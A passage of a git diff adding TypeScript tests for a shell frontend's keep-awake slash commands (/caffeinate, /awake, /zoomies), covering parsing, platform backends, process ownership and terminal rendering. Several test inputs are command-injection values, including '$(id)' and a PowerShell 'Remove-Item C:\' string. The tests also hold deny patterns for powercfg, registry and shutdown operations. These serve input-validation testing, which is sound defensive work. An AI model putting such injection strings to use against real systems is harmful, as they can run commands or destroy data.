/caffeinate, /awake and /zoomies parse to one canonical action', () => { + for (const name of ['/caffeinate', '/awake', '/zoomies']) { + assert.deepEqual(parseSlashCommand(name), {kind: 'keepAwake', op: 'panel'}); + assert.deepEqual(parseSlashCommand(`${name} display`), {kind: 'keepAwake', op: 'start', mode: 'display'}); + assert.deepEqual(parseSlashCommand(`${name} idle 30m`), {kind: 'keepAwake', op: 'start', mode: 'idle', timeoutSeconds: 1800}); + assert.deepEqual(parseSlashCommand(`${name} system 2h`), {kind: 'keepAwake', op: 'start', mode: 'system', timeoutSeconds: 7200}); + assert.deepEqual(parseSlashCommand(`${name} all 45s`), {kind: 'keepAwake', op: 'start', mode: 'all', timeoutSeconds: 45}); + assert.deepEqual(parseSlashCommand(`${name} status`), {kind: 'keepAwake', op: 'status'}); + assert.deepEqual(parseSlashCommand(`${name} stop`), {kind: 'keepAwake', op: 'stop'}); + } + assert.deepEqual(parseSlashCommand('/caffeinate-stop'), {kind: 'keepAwake', op: 'stop'}); + for (const bad of ['/zoomies display 1d', '/zoomies display 30', '/zoomies display $(id)', '/zoomies display 9999999h', '/zoomies turbo']) { + const parsed = parseSlashCommand(bad); + assert.equal(parsed?.kind === 'keepAwake' && parsed.op, 'panel', bad); + assert.ok(parsed?.kind === 'keepAwake' && parsed.invalid, bad); + } + assert.equal(parseDuration('30m'), 1800); + assert.equal(parseDuration('0m'), 'invalid'); + assert.equal(parseDuration('1.5h'), 'invalid'); +}); + +test('discoverability: one palette entry per surface plus human actions; help and Ask', () => { + const awake = slashCommands.filter(command => ['/caffeinate', '/awake', '/zoomies'].includes(command.name)); + assert.equal(awake.length, 3); + assert.deepEqual(awake.filter(command => command.alias).map(command => command.name), ['/awake', '/zoomies']); + const labels = paletteItems().map(item => item.label); + for (const label of ['Keep computer awake', 'Keep display awake', 'Keep-awake status', 'Stop keep-awake']) assert.ok(labels.includes(label), label); + for (const word of ['caffeinate', 'awake', 'zoomies', 'sleep', 'display']) { + assert.ok(paletteItems().some(item => `${item.label} ${item.detail}`.toLowerCase().includes(word)), word); + } + assert.match(helpMarkdown(), /Keep Awake \(\/caffeinate, also \/awake and \/zoomies\)/u); + const ask = (text: string) => resolveConfigRequest(text, {}) as {safety?: string; action?: {slash?: unknown; label?: string}} | undefined; + assert.deepEqual([ask('keep my computer awake')?.action?.label, ask('keep my computer awake')?.safety], ['/caffeinate idle', 'mutate']); + assert.equal(ask('keep my screen awake')?.action?.label, '/caffeinate display'); + assert.equal(ask("don't let my computer sleep")?.action?.label, '/caffeinate system'); + assert.deepEqual([ask('give my computer zoomies')?.action?.label, ask('give my computer zoomies')?.safety], ['/zoomies', 'navigate'], 'a joke only opens the panel'); + assert.deepEqual([ask('stop keeping my computer awake')?.action?.label, ask('stop keeping my computer awake')?.safety], ['/caffeinate stop', 'mutate']); + assert.deepEqual([ask('is caffeinate running')?.action?.label, ask('is caffeinate running')?.safety], ['/caffeinate status', 'navigate']); + assert.equal(knownToolForExecutable('caffeinate'), undefined, 'no command-not-found install for caffeinate'); + const capability = TOOLS.find(tool => tool.id === 'keep-awake')!; + assert.deepEqual([capability.category, capability.package, capability.commandNotFound], ['System capabilities', '', false]); +}); + +test('macOS: fixed /usr/bin/caffeinate and exact argv per mode', () => { + const mac = macBackend(); + assert.deepEqual(mac.plan('idle', 't'), {command: CAFFEINATE, args: ['-i']}); + assert.deepEqual(mac.plan('display', 't'), {command: CAFFEINATE, args: ['-d', '-i']}); + assert.deepEqual(mac.plan('system', 't'), {command: CAFFEINATE, args: ['-s']}); + assert.deepEqual(mac.plan('all', 't'), {command: CAFFEINATE, args: ['-d', '-i', '-s']}); + assert.deepEqual(mac.plan('display', 't', 1800)?.args, ['-d', '-i', '-t', '1800']); + assert.equal(CAFFEINATE, '/usr/bin/caffeinate'); + assert.match(mac.notes.join(' '), /AC power/u); + assert.equal(detectBackend('darwin', path => path === '/usr/bin/caffeinate')?.id, 'macos-caffeinate'); + assert.equal(detectBackend('darwin', () => false), undefined); +}); + +test('Linux: systemd-inhibit with idle/sleep only, an NMSh wait helper, Display unsupported, no systemd → nothing guessed', () => { + assert.equal(detectBackend('linux', () => false), undefined); + const linux = detectBackend('linux', path => path === '/usr/bin/systemd-inhibit')!; + assert.equal(linux.id, 'linux-systemd-inhibit'); + assert.deepEqual(linux.capabilities, {idle: true, display: false, system: true}); + const what = (mode: 'idle' | 'system' | 'all') => linux.plan(mode, 'abc', 60)!.args.find(arg => arg.startsWith('--what=')); + assert.equal(what('idle'), '--what=idle'); + assert.equal(what('system'), '--what=sleep'); + assert.equal(what('all'), '--what=idle:sleep'); + assert.equal(linux.plan('display', 'abc'), undefined); + const plan = linuxBackend('/usr/bin/systemd-inhibit', '/node').plan('all', 'abc', 60)!; + assert.deepEqual(plan.args.slice(0, 4), ['--what=idle:sleep', '--mode=block', '--who=notMyShell', '--why=Keep-awake requested by NMSh']); + assert.deepEqual(plan.args.slice(4, 6), ['/node', '-e']); + assert.deepEqual(plan.args.slice(-3), ['--', '60', 'nmsh-keep-awake=abc']); + assert.doesNotMatch(plan.args.join(' '), /shutdown|handle-lid-switch|handle-power-key|handle-suspend-key/u); + const controller = new KeepAwakeController(linux, fakeProbe(), box().path, 'linux'); + assert.deepEqual(controller.start('display'), {kind: 'unsupported', reason: 'Display is not supported by the systemd inhibitor. Display: not supported by the systemd inhibitor (it is not a display API); use Idle or System.'}); + assert.match(new KeepAwakeController(undefined, fakeProbe(), box().path, 'linux').start('idle').kind === 'unsupported' + ? (new KeepAwakeController(undefined, fakeProbe(), box().path, 'linux').start('idle') as {reason: string}).reason : '', /No supported Linux inhibitor was detected/u); +}); + +test('Windows: SetThreadExecutionState flags; never away mode; fixed script with only validated values', () => { + const AWAYMODE = 0x40; + assert.equal(executionStateFlags('idle'), (ES_CONTINUOUS | ES_SYSTEM_REQUIRED) >>> 0); + assert.equal(executionStateFlags('system'), (ES_CONTINUOUS | ES_SYSTEM_REQUIRED) >>> 0); + assert.equal(executionStateFlags('display'), (ES_CONTINUOUS | ES_SYSTEM_REQUIRED | ES_DISPLAY_REQUIRED) >>> 0); + assert.equal(executionStateFlags('all'), executionStateFlags('display')); + for (const mode of ['idle', 'display', 'system', 'all'] as const) assert.equal(executionStateFlags(mode) & AWAYMODE, 0); + const token = 'a'.repeat(32); + const script = windowsHelperScript(executionStateFlags('display'), token, 600); + assert.match(script, /SetThreadExecutionState\(\[uint32\]2147483651\)/u); + assert.match(script, /AddSeconds\(600\)/u); + assert.match(script, /finally \{ \[void\]\[NMSh\.Power\]::SetThreadExecutionState\(\[uint32\]2147483648\) \}/u, 'cleared on exit'); + assert.doesNotMatch(script, /powercfg|Set-ItemProperty|HKLM|HKCU|RunAs/iu); + assert.throws(() => windowsHelperScript(1, '"; Remove-Item C:\\ #', 1)); + assert.throws(() => windowsHelperScript(1, token, 0)); + const plan = windowsBackend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe').plan('system', token)!; + assert.deepEqual(plan.args.slice(0, 6), ['-NoLogo', '-NoProfile', '-NonInteractive', '-WindowStyle', 'Hidden', '-EncodedCommand']); + assert.equal(Buffer.from(plan.args[6]!, 'base64').toString('utf16le'), windowsHelperScript(executionStateFlags('system'), token)); + assert.equal(detectBackend('win32', path => path.endsWith('powershell.exe'), {SystemRoot: 'C:\\Windows'})?.id, 'windows-execution-state'); +}); + +test('controller: one assertion, same mode idempotent, a different mode asks then replaces start-first, stop idempotent', () => { + const file = box(); + try { + const probe = fakeProbe(); + const controller = new KeepAwakeController(macBackend(), probe, file.path, 'darwin'); + assert.equal(controller.status().state, 'off'); + const first = controller.start('idle'); + assert.equal(first.kind, 'started'); + const pid = first.kind === 'started' ? first.record.pid : 0; + assert.equal(controller.start('idle').kind, 'already'); + assert.equal(probe.started.length, 1, 'no duplicate assertion'); + assert.deepEqual(controller.start('display'), {kind: 'needsConfirm', from: 'idle', to: 'display'}); + assert.equal(probe.started.length, 1, 'nothing changes before confirmation'); + const replaced = controller.start('display', undefined, true); + assert.equal(replaced.kind === 'started' && replaced.replaced, 'idle'); + assert.ok(probe.signals.some(([signalled, signal]) => signalled === pid && signal === 'SIGTERM'), 'old one stopped gracefully after the new one started'); + assert.equal(probe.processes.size, 1); + // A failed replacement does not claim the old one stopped. + probe.failNext = true; + const failed = controller.start('all', undefined, true); + assert.match(failed.kind === 'failed' ? failed.reason : '', /did not start\. The Display keep-awake is still running\./u); + assert.equal(controller.status().state, 'running'); + assert.match(controller.stop(), /Keep Awake stopped \(Display\)/u); + assert.equal(controller.stop(), 'Keep Awake is off.', 'stop is idempotent'); + assert.equal(existsSync(file.path), false); + } finally { file.done(); } +}); + +test('ownership: a reused PID or a foreign command line is never killed; the record is cleared as stale; timeout expiry is reported', () => { + const file = box(); + try { + const probe = fakeProbe(); + const controller = new KeepAwakeController(macBackend(), probe, file.path, 'darwin'); + const started = controller.start('idle', 60); + assert.equal(started.kind, 'started'); + const pid = started.kind === 'started' ? started.record.pid : 0; + // The PID now belongs to something else. + probe.processes.set(pid, '/usr/bin/vim notes.txt'); + assert.match(controller.stop(), /could not be verified as NMSh's, so nothing was stopped/u); + assert.deepEqual(probe.signals, []); + assert.equal(existsSync(file.path), false); + // Persisted across restarts: a new controller verifies before saying Running. + const again = controller.start('idle', 60); + const restarted = new KeepAwakeController(macBackend(), probe, file.path, 'darwin'); + assert.equal(restarted.status().state, 'running'); + // Timeout: the backend process ended on its own. + probe.processes.delete(again.kind === 'started' ? again.record.pid : 0); + probe.clock += 61_000; + const status = restarted.status(); + assert.equal(status.state, 'off'); + assert.match(status.state === 'off' ? status.note ?? '' : '', /ended after its 1m timeout/u); + // A corrupt record is ignored. + writeFileSync(file.path, '{"version":1,"pid":"1; kill"}'); + assert.equal(restarted.status().state, 'off'); + } finally { file.done(); } +}); + +test('Linux ownership needs the token in the command line', () => { + const file = box(); + try { + const probe = fakeProbe(); + const controller = new KeepAwakeController(linuxBackend('/usr/bin/systemd-inhibit', '/node'), probe, file.path, 'linux'); + const started = controller.start('system'); + assert.equal(started.kind, 'started'); + const record = JSON.parse(readFileSync(file.path, 'utf8')); + assert.match(probe.commandLine(record.pid)!, new RegExp(`nmsh-keep-awake=${record.token}`, 'u')); + probe.processes.set(record.pid, '/usr/bin/systemd-inhibit --what=sleep sleep 99'); + assert.equal(controller.status().state, 'off', 'same PID without our token is not ours'); + assert.deepEqual(probe.signals, []); + } finally { file.done(); } +}); + +test('panel: same surface for every alias; unsupported modes stay visible and factual; mode change defaults to No', () => { + const file = box(); + try { + const probe = fakeProbe(); + const controller = new KeepAwakeController(linuxBackend('/usr/bin/systemd-inhibit', '/node'), probe, file.path, 'linux'); + const panel = createKeepAwakePanel(controller); + let text = renderKeepAwakePanel(panel, controller, 120, 40).map(stripAnsi).join('\n'); + assert.match(text, /Display\s+Unavailable on the systemd inhibitor/u); + assert.match(text, /Current\s+Off/u); + assert.match(text, /Backend\s+systemd inhibitor/u); + keepAwakeKey(panel, controller, {kind: 'enter'}); + assert.equal(controller.status().state, 'running'); + keepAwakeKey(panel, controller, {kind: 'down'}); + keepAwakeKey(panel, controller, {kind: 'down'}); + keepAwakeKey(panel, controller, {kind: 'enter'}); + assert.equal(panel.confirm?.state.choice, 'no'); + keepAwakeKey(panel, controller, {kind: 'enter'}); + assert.match(panel.message!, /Kept Idle\. Nothing was changed\./u); + text = renderKeepAwakePanel(panel, controller, 120, 40).map(stripAnsi).join('\n'); + assert.match(text, /Idle .*● running/u); + keepAwakeKey(panel, controller, {kind: 'text', value: 's'}); + assert.equal(controller.status().state, 'off'); + } finally { file.done(); } +}); + +test('real macOS caffeinate: start, verify, stop (bounded by a 30s timeout)', {skip: process.platform !== 'darwin' || !existsSync(CAFFEINATE) ? 'macOS only' : false}, () => { + const file = box(); + const controller = new KeepAwakeController(macBackend(), systemProbe, file.path, 'darwin'); + try { + const started = controller.start('idle', 30); + assert.equal(started.kind, 'started', JSON.stringify(started)); + assert.equal(controller.status().state, 'running'); + assert.match(controller.stop(), /stopped/u); + assert.equal(controller.status().state, 'off'); + } finally { controller.stop(); file.done(); } +}); diff --git a/tests/keepAwakeForeground.test.ts b/tests/keepAwakeForeground.test.ts new file mode 100644 index 00000000..e3081489 --- /dev/null +++ b/tests/keepAwakeForeground.test.ts @@ -0,0 +1,77 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, readFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, processAlive, until} from './helpers/liveFrontend.js'; +import {parseSlashCommand} from '../src/commands/slashCommands.js'; + +/** + * Regression: /caffeinate, /awake and /zoomies are NMSh frontend actions. They + * start an NMSh-owned background process through the controller and hand the + * composer straight back; they never run anything in the user's shell, never + * become the shell's foreground command and never need Ctrl+C to return. + * + * The real slash dispatch, controller, ownership record and presentation run; + * only the backend is the deterministic inert one, so no test ever keeps a + * machine awake. + */ +const ENV = {NMSH_DETERMINISTIC: '1', NMSH_KEEP_AWAKE_BACKEND: 'inert'}; + +test('slash Keep Awake runs in the background and the shell stays ready (no Ctrl+C needed)', {timeout: 120_000}, async () => { + const box = new LiveSandbox({}, ENV); + const record = join(box.config, 'nmsh', 'keep-awake.json'); + const owned = () => existsSync(record) ? JSON.parse(readFileSync(record, 'utf8')) as {pid: number; token: string; mode: string} : undefined; + try { + const frontend = box.launch(); + await frontend.waitFor(/❯/u); + await frontend.run('echo READY', /READY/u); + + // Bare /zoomies only opens the panel: nothing is launched yet. + let mark = frontend.mark; + frontend.pty.write('/zoomies\r'); + await frontend.waitFor(/\/caffeinate · \/awake · \/zoomies/u, mark); + assert.equal(owned(), undefined, 'the panel alone starts no backend'); + frontend.pty.write('\u001b'); + + // A start from the slash command returns at once. + await frontend.run('/zoomies display 1m', /Keep Awake on · Display for 1m/u); + const first = owned(); + assert.ok(first && processAlive(first.pid), 'an NMSh-owned background process holds the assertion'); + assert.equal(first.mode, 'display'); + // The shell is idle at its prompt: an ordinary command runs and completes right away. + await frontend.run("printf 'still-responsive\\n'", /still-responsive/u); + assert.ok(processAlive(first.pid), 'Keep Awake keeps running while the shell works'); + await frontend.waitFor(/Awake · Display/u, 0); + + await frontend.run('/zoomies stop', /Keep Awake stopped \(Display\)/u); + await until(() => !processAlive(first.pid), 5000, 'the owned process to end'); + assert.equal(owned(), undefined); + + // The panel path: Enter starts, and the composer comes back without Esc or Ctrl+C. + mark = frontend.mark; + frontend.pty.write('/awake\r'); + await frontend.waitFor(/\/caffeinate · \/awake · \/zoomies/u, mark); + mark = frontend.mark; + frontend.pty.write('\r'); + await frontend.waitFor(/Keep Awake on · Idle/u, mark); + const second = owned(); + assert.ok(second && processAlive(second.pid)); + await frontend.run("printf 'composer-is-back\\n'", /composer-is-back/u); + await frontend.run('/awake stop', /Keep Awake stopped \(Idle\)/u); + await until(() => !processAlive(second.pid), 5000, 'the owned process to end'); + + // None of this was a shell command: no journaled caffeinate, no foreground lifecycle. + const commands = (await box.transcripts().list()).flatMap(session => session.transcript.records).map(item => item.command); + assert.ok(!commands.some(command => /caffeinate|-e .*nmsh-keep-awake/u.test(command ?? '')), commands.join('\n')); + assert.ok(commands.includes("printf 'still-responsive\\n'")); + } finally { + const left = owned(); + if (left && processAlive(left.pid)) process.kill(left.pid, 'SIGTERM'); + await box.dispose(); + } +}); + +test('a typed shell caffeinate is an ordinary shell command, never intercepted', () => { + for (const command of ['caffeinate -i', 'caffeinate', 'caffeinate -d -t 5', 'sudo caffeinate -s']) assert.equal(parseSlashCommand(command), undefined, command); + for (const command of ['/caffeinate', '/awake display', '/zoomies stop']) assert.equal(parseSlashCommand(command)?.kind, 'keepAwake', command); +}); diff --git a/tests/keepAwakePresentation.test.ts b/tests/keepAwakePresentation.test.ts new file mode 100644 index 00000000..74ea7686 --- /dev/null +++ b/tests/keepAwakePresentation.test.ts @@ -0,0 +1,305 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {isolateConfig} from './support/isolatedConfig.js'; +import {dividerAnimated, normalizeTreatmentSettings} from '../src/chroma/treatment.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; +import {regionOf, type ScreenPlan} from '../src/app/screenPlan.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; +import {renderStatusStrip} from '../src/status/StatusStrip.js'; +import {DEFAULT_STATUS_STRIP, type PromptConfiguration} from '../src/prompt/configuration.js'; +import type {KeepAwakeRecord} from '../src/keepAwake/keepAwake.js'; +import { + AWAKE_SAVER_POSITIONS, awakeLabel, DEFAULT_KEEP_AWAKE_PRESENTATION, edgeFits, normalizeKeepAwakePresentation, placeOnSaver, + renderComposerEdge, resolveAccessorySlot, sliceAnsiCells, type KeepAwakePresentation, +} from '../src/keepAwake/presentation.js'; + +const RECORD: KeepAwakeRecord = {version: 1, token: 'a'.repeat(32), backend: 'macos-caffeinate', mode: 'display', pid: 1, + startedAt: Date.now() - 47 * 60_000, command: '/usr/bin/caffeinate', args: ['-d', '-i']}; + +type Frame = {rows: string[]; plain: string[]; plan: ScreenPlan; cursorRow: number; cursorColumn: number}; + +interface Scene { + config?: Partial; + awake?: Partial; + active?: boolean; + idle?: boolean; + text?: string; + columns?: number; + rows?: number; + provider?: PromptConfiguration['provider']; +} + +/** A real TerminalApp frame with Keep Awake state injected (the controller's verified record). */ +function frame(scene: Scene = {}): Frame { + const app = new TerminalApp() as any; + const columns = scene.columns ?? 80, rows = scene.rows ?? 20; + try { + Object.defineProperty(app, 'dimensions', {value: () => ({columns, rows})}); + Object.defineProperty(app, 'fetchSuggestions', {value: async () => {}}); + app.output.beginCommand('ls', ['❯ ls']); + app.output.write('alpha\nbeta\n'); + app.output.complete(0); + app.promptConfiguration = {...app.promptConfiguration, ...scene.config, keepAwake: {...DEFAULT_KEEP_AWAKE_PRESENTATION, ...scene.awake}}; + if (scene.provider) { + app.effectivePromptProvider = scene.provider; + if (scene.provider !== 'nmsh' && scene.provider !== 'none') app.externalPrompt = {ansi: 'EXTERNAL-PROMPT ~/demo main', text: 'EXTERNAL-PROMPT ~/demo main'}; + } + app.awakeRecord = scene.active === false ? undefined : RECORD; + app.lastUserInput = scene.idle ? 0 : Date.now(); + if (scene.text) app.editor.insert(scene.text); + const frames: Array<{rows: string[]; cursorRow: number; cursorColumn: number}> = []; + app.renderer.render = (next: {rows: string[]; cursorRow: number; cursorColumn: number}) => { frames.push(next); }; + app.render(); + const last = frames.at(-1)!; + return {rows: last.rows, plain: last.rows.map(stripAnsi), plan: app.presentationFrame.plan, cursorRow: last.cursorRow, cursorColumn: last.cursorColumn}; + } finally { + app.stop(0); + app.session.kill(); + } +} + +const rowOf = (f: Frame, kind: Parameters[1]) => { const region = regionOf(f.plan, kind); return region ? f.plain[region.top]! : undefined; }; +const everyRowFits = (f: Frame, columns: number) => f.rows.forEach((row, index) => assert.ok(displayWidth(stripAnsi(row)) <= columns, `row ${index} overflows: ${stripAnsi(row)}`)); + +let config: ReturnType; +test.before(() => { config = isolateConfig(); }); +test.after(() => config.restore()); + +test('Off renders nothing anywhere: no icon, no placeholder, no row', () => { + for (const placement of ['edge', 'above', 'input'] as const) { + const off = frame({active: false, awake: {placement}, config: {statusStrip: {...DEFAULT_STATUS_STRIP, enabled: true}}, text: 'npm test'}); + assert.ok(!off.plain.some(row => /Awake|zoomies/u.test(row)), placement); + assert.equal(regionOf(off.plan, 'awake'), undefined); + assert.equal(off.plan.awake, undefined); + } +}); + +test('Composer edge: a plain top divider hosts it; the prompt, input and bottom rule are unchanged', () => { + for (const layout of [{composerLayout: 'oneLine'}, {composerLayout: 'twoLine', placement: 'composer'}] as const) { + const on = frame({config: layout, text: 'npm test'}); + const off = frame({config: layout, text: 'npm test', active: false}); + assert.equal(on.plan.awake?.slot, 'topEdge'); + assert.match(rowOf(on, 'composerBorder')!, /^─+ Awake · Display ──$/u); + assert.equal(displayWidth(rowOf(on, 'composerBorder')!), 80); + for (const kind of ['prompt', 'input', 'separator'] as const) assert.equal(rowOf(on, kind), rowOf(off, kind), `${layout.composerLayout} ${kind}`); + assert.deepEqual([on.cursorRow - regionOf(on.plan, 'input')!.top, on.cursorColumn], [off.cursorRow - regionOf(off.plan, 'input')!.top, off.cursorColumn]); + } +}); + +test('Composer edge: a header prompt owns the top edge, so Awake takes the bottom edge and the prompt is untouched', () => { + const on = frame({config: {composerLayout: 'twoLine', placement: 'header'}}); + const off = frame({config: {composerLayout: 'twoLine', placement: 'header'}, active: false}); + assert.equal(on.plan.awake?.slot, 'bottomEdge'); + assert.equal(rowOf(on, 'prompt'), rowOf(off, 'prompt'), 'prompt row byte-for-byte unchanged'); + assert.ok(!rowOf(on, 'prompt')!.includes('Awake')); + assert.match(rowOf(on, 'separator')!, /Awake · Display ──$/u); +}); + +test('Dividers Off: neither edge exists, the dividers stay off, and one adjacent row carries it', () => { + const on = frame({config: {composerDividers: false}}); + assert.equal(on.plan.awake?.slot, 'adjacentRow'); + assert.equal(regionOf(on.plan, 'composerBorder'), undefined); + assert.equal(regionOf(on.plan, 'separator'), undefined); + const awake = regionOf(on.plan, 'awake')!; + assert.equal(on.plain[awake.top], 'Awake · Display'); + assert.ok(awake.top < regionOf(on.plan, 'prompt')!.top, 'directly above the composer'); +}); + +test('slot policy: top, else bottom, else adjacent; the saved preference is never rewritten', () => { + const edge = (top: 'available' | 'occupied' | 'unavailable', bottom: 'available' | 'unavailable') => + resolveAccessorySlot('edge', {topEdge: top, bottomEdge: bottom, inputTrailing: 'unavailable'}); + assert.equal(edge('available', 'available'), 'topEdge'); + assert.equal(edge('occupied', 'available'), 'bottomEdge'); + assert.equal(edge('unavailable', 'available'), 'bottomEdge', 'top too narrow, bottom fits'); + assert.equal(edge('occupied', 'unavailable'), 'adjacentRow', 'top occupied + bottom unavailable'); + assert.equal(edge('unavailable', 'unavailable'), 'adjacentRow', 'neither edge safe'); + assert.equal(resolveAccessorySlot('above', {topEdge: 'available', bottomEdge: 'available', inputTrailing: 'available'}), 'adjacentRow'); + assert.equal(resolveAccessorySlot('input', {topEdge: 'available', bottomEdge: 'available', inputTrailing: 'unavailable'}), 'adjacentRow'); + // Too narrow for any edge: the frame falls back, the setting stays Composer edge. + const narrow = frame({columns: 22, config: {composerLayout: 'twoLine', placement: 'header'}}); + assert.equal(narrow.plan.awake?.slot, 'adjacentRow'); + assert.ok(!edgeFits(20, 15)); +}); + +test('Bottom, Top and Flow: placement is relative to the composer, never the screen', () => { + for (const composerPosition of ['bottom', 'top', 'flow'] as const) { + const plain = frame({config: {composerPosition, composerLayout: 'twoLine', placement: 'composer'}}); + const border = regionOf(plain.plan, 'composerBorder')!; + assert.equal(plain.plan.awake?.slot, 'topEdge', composerPosition); + assert.match(plain.plain[border.top]!, /Awake · Display/u); + const header = frame({config: {composerPosition, composerLayout: 'twoLine', placement: 'header'}}); + assert.equal(header.plan.awake?.slot, 'bottomEdge', composerPosition); + assert.match(rowOf(header, 'separator')!, /Awake · Display/u); + const above = frame({config: {composerPosition}, awake: {placement: 'above'}}); + const row = regionOf(above.plan, 'awake')!; + const composerTop = Math.min(...above.plan.regions.filter(region => ['composerBorder', 'prompt', 'input'].includes(region.kind)).map(region => region.top)); + assert.equal(row.top + 1, composerTop, `${composerPosition}: right before the composer block`); + } +}); + +test('Prompt None and an external provider: Keep Awake is NMSh chrome, never provider output', () => { + const none = frame({provider: 'none'}); + assert.equal(none.plan.awake?.slot, 'topEdge'); + assert.match(rowOf(none, 'composerBorder')!, /Awake · Display/u); + for (const placement of ['header', 'composer'] as const) { + const external = frame({provider: 'starship', config: {composerLayout: 'twoLine', placement}}); + const without = frame({provider: 'starship', config: {composerLayout: 'twoLine', placement}, active: false}); + assert.equal(rowOf(external, 'prompt'), rowOf(without, 'prompt'), 'provider output unchanged'); + assert.ok(!rowOf(external, 'prompt')!.includes('Awake')); + assert.ok(external.plain.some(row => row.includes('Awake · Display'))); + } +}); + +test('Input row: reserves real editor width (caret and wrapping agree) and yields when the edit gets long or multi-line', () => { + const on = frame({config: {composerLayout: 'twoLine'}, awake: {placement: 'input'}, text: 'npm test'}); + assert.equal(on.plan.awake?.slot, 'inputTrailing'); + const input = rowOf(on, 'input')!; + assert.match(input, /^❯ npm test +Awake · Display$/u); + assert.equal(displayWidth(input), 80); + assert.equal(on.cursorColumn, 11, 'caret right after the typed text, never inside the status'); + const long = frame({config: {composerLayout: 'twoLine'}, awake: {placement: 'input'}, text: 'x'.repeat(65)}); + assert.equal(long.plan.awake?.slot, 'adjacentRow', 'editable input wins'); + assert.ok(rowOf(long, 'input')!.includes('x'.repeat(65))); + // The one-line Native composer keeps its right prompt on that row: Input row falls back. + const oneLine = frame({config: {composerLayout: 'oneLine'}, awake: {placement: 'input'}, text: 'ls'}); + assert.equal(oneLine.plan.awake?.slot, 'adjacentRow'); +}); + +test('idle reminder: expands on the edge when it fits, else compact edge + one muted reminder row; input collapses it', () => { + const wide = frame({idle: true, config: {composerLayout: 'twoLine', placement: 'header'}}); + assert.match(rowOf(wide, 'separator')!, /Awake · Display · 47m {3}\/zoomies stop ──$/u); + assert.equal(regionOf(wide.plan, 'awake'), undefined); + const narrow = frame({idle: true, columns: 40, config: {composerLayout: 'twoLine', placement: 'header'}}); + assert.match(rowOf(narrow, 'separator')!, /Awake · Display ──$/u); + const reminder = regionOf(narrow.plan, 'awake')!; + assert.equal(narrow.plain[reminder.top], '47m /zoomies stop', 'duration + stop only; the label is not repeated'); + assert.ok(narrow.rows[reminder.top]!.includes('/zoomies stop')); + const active = frame({idle: false, columns: 40, config: {composerLayout: 'twoLine', placement: 'header'}}); + assert.equal(regionOf(active.plan, 'awake'), undefined, 'collapsed after input'); + assert.match(rowOf(active, 'separator')!, /Awake · Display/u, 'still shown while typing'); + const reminderOff = frame({idle: true, awake: {idleReminder: false}}); + assert.ok(!reminderOff.plain.some(row => row.includes('/zoomies stop'))); +}); + +test('Status Strip: active Awake is always in an enabled strip, narrows before it drops, and never enables the strip', () => { + const awake = {full: 'Awake · Display', short: 'Awake', glyph: 'Awake'}; + const stats = {cpu: 8, memory: {used: 4.2 * 1024 ** 3, total: 16 * 1024 ** 3}}; + const settings = {...DEFAULT_STATUS_STRIP, enabled: true, clock: true, cpu: true, ram: true}; + const now = new Date(2026, 0, 1, 6, 44); + assert.match(stripAnsi(renderStatusStrip(settings, stats, 100, now, awake)), /CPU 8% · .*RAM 26% · .*06:44 · Awake · Display$/u, 'Awake joins the end of the strip'); + assert.match(stripAnsi(renderStatusStrip(settings, stats, 36, now, awake)).trim(), /Awake · Display$/u, 'decorative items drop first'); + assert.equal(stripAnsi(renderStatusStrip(settings, stats, 30, now, {...awake, full: 'Awake · Display + System and more'})).trim(), 'Awake'); + assert.equal(renderStatusStrip({...settings, enabled: false}, stats, 100, now, awake), '', 'a disabled strip stays disabled'); + const app = frame({config: {statusStrip: {...settings}}}); + assert.match(app.plain[regionOf(app.plan, 'status')!.top]!, /Awake · Display$/u); +}); + +test('display styles use the glyph abstraction; Safe/ASCII has no icon, so text carries the meaning', () => { + assert.equal(awakeLabel(RECORD, 'text'), 'Awake · Display'); + assert.equal(awakeLabel(RECORD, 'iconText', 'full', 'E'), 'E Awake · Display'); + assert.equal(awakeLabel(RECORD, 'icon', 'full', 'E'), 'E Display'); + assert.equal(awakeLabel(RECORD, 'icon', 'full', ''), 'Awake · Display', 'Safe mode falls back to text'); + assert.equal(awakeLabel({...RECORD, mode: 'all'}, 'text'), 'Awake · All'); +}); + +test('the shared edge renderer is exact-width, keeps rule colors and works without color', () => { + const rule = `\u001b[38;5;99m${'─'.repeat(60)}\u001b[39m`; + const edge = renderComposerEdge({rule, width: 60, accessory: {ansi: '\u001b[38;5;183mAwake · Idle\u001b[0m', width: 12}}); + assert.equal(displayWidth(stripAnsi(edge)), 60); + assert.match(stripAnsi(edge), /^─{44} Awake · Idle ──$/u); + assert.ok(edge.startsWith('\u001b[38;5;99m')); + assert.equal(stripAnsi(sliceAnsiCells(rule, 58, 60)), '──'); + assert.ok(sliceAnsiCells(rule, 58, 60).startsWith('\u001b[38;5;99m'), 'trailing segment carries the rule color'); + const noColor = renderComposerEdge({rule: '─'.repeat(30), width: 30, accessory: {ansi: 'Awake · Idle', width: 12}}); + assert.equal(noColor, `${'─'.repeat(14)}\u001b[0m Awake · Idle \u001b[0m──\u001b[0m`); + assert.equal(renderComposerEdge({rule: '─'.repeat(15), width: 15, accessory: {ansi: 'Awake · Idle', width: 12}}), '─'.repeat(15), 'too narrow: the plain rule'); +}); + +test('Chroma-animated dividers repaint the composed edge: Awake never disappears and its text never shimmers', () => { + const app = new TerminalApp() as any; + try { + Object.defineProperty(app, 'dimensions', {value: () => ({columns: 80, rows: 20})}); + Object.defineProperty(app, 'fetchSuggestions', {value: async () => {}}); + Object.defineProperty(app, 'decorativeMotionAllowed', {value: () => true}); + app.promptConfiguration = {...app.promptConfiguration, composerLayout: 'twoLine', placement: 'header', keepAwake: {...DEFAULT_KEEP_AWAKE_PRESENTATION}, + presentation: normalizeTreatmentSettings({...app.promptConfiguration.presentation, preset: 'aurora', motion: 'travel', rules: true})}; + assert.ok(dividerAnimated(app.promptConfiguration.presentation), 'the divider really animates'); + app.awakeRecord = RECORD; + const frames: string[][] = []; + app.renderer.render = (next: {rows: string[]}) => { frames.push(next.rows); }; + app.render(); + const separator = regionOf(app.presentationFrame.plan, 'separator')!; + const awakeText = (row: string) => /\u001b\[0m (.*Awake · Display.*?)\u001b\[0m \u001b\[0m/u.exec(row)?.[1]; + const first = awakeText(frames.at(-1)![separator.top]!); + assert.ok(first, 'composed edge on the base frame'); + for (const at of [1000, 2500, 7000]) { + app.paintPresentation(Date.now() + at); + const row = frames.at(-1)![separator.top]!; + 